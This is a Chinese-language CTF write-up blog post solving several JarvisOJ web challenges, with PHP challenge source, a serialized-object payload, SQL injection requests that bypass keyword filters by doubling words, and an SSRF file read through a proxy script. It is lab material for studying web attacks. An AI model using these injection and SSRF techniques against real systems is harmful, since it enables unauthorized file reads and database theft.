Raye's Journey

JarvisOJ

神盾局的秘密

查看页面源码,猜测是本地文件包含

先查看showimg.php

<?php
	$f = $_GET['img'];
	if (!empty($f)) {
		$f = base64_decode($f);
		if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
		&& stripos($f,'pctf')===FALSE) {
			readfile($f);
		} else {
			echo "File not found!";
		}
	}
?>

然后查看index.php

<?php 
	require_once('shield.php');
	$x = new Shield();
	isset($_GET['class']) && $g = $_GET['class'];
	if (!empty($g)) {
		$x = unserialize($g);
	}
	echo $x->readfile();
?>

再查看shield.php

<?php
	//flag is in pctf.php
	class Shield {
		public $file;
		function __construct($filename = '') {
			$this -> file = $filename;
		}
		
		function readfile() {
			if (!empty($this->file) && stripos($this->file,'..')===FALSE  
			&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
				return @file_get_contents($this->file);
			}
		}
	}
?>

尝试直接查看pctf.php没有成功

class Shield{
    public $file='pctf.php';

}
$a=  new Shield();
echo serialize($a);

IN a mess

源代码提示访问 index.phps

<?php

error_reporting(0);
echo "<!--index.phps-->";

if(!$_GET['id'])
{
	header('Location: index.php?id=1');
	exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
	echo 'Hahahahahaha';
	return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
	require("flag.txt");
}
else
{
	print "work harder!harder!harder!";
}

?>

这个审计题目是见过的

精心构造的payload

用0a绕过弱类型,用伪协议绕过文件读取,用%001111绕过substr和strlen

之后来到第二关:

发现是注入

过滤了空格和一些关键字符,可以使用双写绕过

之后尝试爆字段

字段数为3

GET /%5eHT2mCpcvOLf/index.php?id=-1/*1222*/uniunionon/*123*/selselectect/*123*/1,2,3%23 HTTP/1.1

数据库名:

其实表是已经知道了,就是content,不过还是再手动爆一下:

这里必须使用十六进制编码,不然得不到

爆字段

GET /%5eHT2mCpcvOLf/index.php?id=-1/*1222*/uniunionon/*123*/selselectect/*123*/1,2,group_concat(column_name)/*123*/frfromom/*123*/information_schema.columns/*123*/where/*123*/table_schema=0x74657374%23 HTTP/1.1

获取数据

GET /%5eHT2mCpcvOLf/index.php?id=-1/*1222*/uniunionon/*123*/selselectect/*123*/1,2,group_concat(id,context,title)/*123*/frfromom/*123*/content HTTP/1.1

chopper

这题重新复现一下一叶飘零师傅的思路,同时好好理解一下什么是ssrf

查看源码发现一个很有意思的点:


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en">
<head>
	<meta http-equiv="Content-Type" content="text/html;charset=UTF-8">
	<title>ISCC 2016</title>
	<div class="container">
		<img src="proxy.php?url=http://dn.jarvisoj.com/static/images/proxy.jpg" alt="">
		
		<p><a href="admin">管理员登录</a></p>
	</div>
</head>
<body>
	
</body>
</html>

那个图片是通过一个url加载出来的,于是我就尝试用自己blog上的图片

果真如此:

于是这就是一典型的SSRF了

直接尝试读取文件

读取失败,尝试绕过

直接大写一个字母就行

于是可以读取任意文件

如果url不加参数

于是我们就知道了文件的位置


<?php
/*
P_PROXY v0.2
@author:haozigege
@time:2016/3/19
@windows extension=php_curl.dll(php.ini)
@linux cd ext/curl;phpize  ./configure –with-curl;make;
@info url全部通过GET来传递,如果使用POST,则读取POST数据发送请求,可以给中国菜刀提供接口;
cookie和其他http头部信息可以直接从请求中读取。
@update 修改了host不一致的问题,去除了method参数简化了逻辑结构。
*/

function get_result($curlobj){
	$result=curl_exec($curlobj);
	$headerSize=curl_getinfo($curlobj,CURLINFO_HEADER_SIZE);
	$res_header=substr($result, 0, $headerSize);
	$result	=substr($result,$headerSize);
	curl_close($curlobj); 
	set_response_header($res_header);
	echo $result;
}
function getmyheader($curlobj,$headerlines){
	$res_headers=$headerlines;
	return $res_headers;
}
function set_response_header($headers){
	$headarr=explode("\r\n",$headers);
	foreach($headarr as $key=>$value){
		header($value);
	}
}

function init_curl($link,$headers){
	$curlobj = curl_init(); 
    curl_setopt($curlobj,CURLOPT_URL,$link); 
	curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);//raw output
	curl_setopt($curlobj, CURLOPT_HTTPHEADER, $headers);
	curl_setopt($curlobj, CURLOPT_HEADER, 1);
	return	$curlobj;
}

foreach(getallheaders() as $key=>$value){
	if ($key=='Content-Length' and isset($_POST)){
		$post=http_build_query($_POST);
		$value=strlen($post);
	}
	$headers[]=$key.':'.$value;
}

if(isset($_REQUEST['url'])){
	$link=$_REQUEST['url'];
	$url=explode('/',$link)[2];

	/* curl setting */
	$curlobj = init_curl($link,$headers);

	//GET
	if ($_SERVER['REQUEST_METHOD']=='GET'){
		//READ FILE
		if(substr($link, 0,7)=='file://'){
		echo substr($link,7);
		$result="";
		//$result=file_get_contents(substr($link,7));
		echo $result;
		curl_close($curlobj);
		}else{
			curl_setopt($curlobj, CURLOPT_POST, 0); 
			curl_setopt($curlobj, CURLOPT_HTTPHEADER, ["HOST",$url]);
			get_result($curlobj);
			}
		}else {
		//POST
			curl_setopt($curlobj, CURLOPT_POST, 1);
			curl_setopt($curlobj, CURLOPT_POSTFIELDS,$post);
			curl_setopt($curlobj, CURLOPT_HTTPHEADER, ["HOST",$url]);
			get_result($curlobj);
			}
}else{
	echo 'invalid request';
}

?>

可以看出对协议的过滤很垃圾,就是看是不是file://开头的

尝试读取index.php和index.html,index.php没有,index.html就是原来的页面

这时候去admin目录下探测:

尝试探测一下文件:

view-source:http://web.jarvisoj.com:32782/proxy.php?url=File:///opt/lampp/htdocs/admin/robots.txt

就发现robots.txt

于是读

PORT 51

记录一下curl的姿势


在自己的vps上通过curl --local-port=51进行访问


curl命令是一个很强大的命令,由于浏览器访问网站的时候存在重定向的问题,于是可以直接用curl访问原始的网页,cybrics的签到题就是这个思路

DESCRIPTION
       curl  is  a  tool  to transfer data from or to a server, using one of the supported protocols (DICT, FILE, FTP, FTPS, GOPHER, HTTP, HTTPS,
       IMAP, IMAPS, LDAP, LDAPS, POP3, POP3S, RTMP, RTSP, SCP, SFTP, SMB, SMBS, SMTP, SMTPS, TELNET and TFTP). The command is  designed  to  work
       without user interaction.

可以看到curl支持很多协议,包括POP3

常见的用法

curl https://prontosil.club 直接访问原始页面

curl -I https://prontosil.club 得到请求头

curl -H发送自定义的请求头

curl -d发送post请求

curl命令详解

localhost

只能在本地访问,

伪造请求头即可

login

注意抓包,请求头中有hint

参考这篇文章


>  cd ..